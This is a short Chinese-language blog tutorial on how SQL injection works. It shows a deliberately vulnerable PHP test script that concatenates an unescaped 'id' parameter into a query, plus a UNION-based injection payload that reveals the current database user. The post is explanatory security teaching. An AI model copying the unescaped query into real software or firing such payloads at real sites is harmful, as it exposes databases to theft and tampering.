您的位置:首页 > 数据库

SQL注入-原理

2018-01-11 22:33 225 查看

1.原理

由于过滤不严格,传入SQL语句中的可控参数经过构造,修改了SQL语句本身的结构,最后该语句被解析执行,造成信息泄露,被修改,被删除等后果,更甚造成服务器被掌控。

php测试代码

<?php
error_reporting(0);
$id = $_GET['id'];
$con = mysql_connect('localhost','root','root');
if(!$con){
die('mysql connect failed');
}
mysql_select_db('test',$con) or die('failed to connect db');
$sql = "SELECT * FROM users WHERE id='{$id}'";
$result = mysql_query($sql);
if ($row = mysql_fetch_array($result)) {
echo "id:".$row[0];
echo "<br>";
echo "name:".$row[1];
}else{
echo mysql_error();
}
mysql_close($con);
?>


2.测试实例

传入正常的id值
?id=1


此时的SQL语句为
select * from users where id='1';


页面返回正常的业务结果



如果对可控参数id进行构造
?id=-1' union select 1,(user())--+


此时的SQL语句为
select * from users where id='-1' union select 1,(user())--'


页面返回了当前数据库的用户

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  Web渗透 SQL注入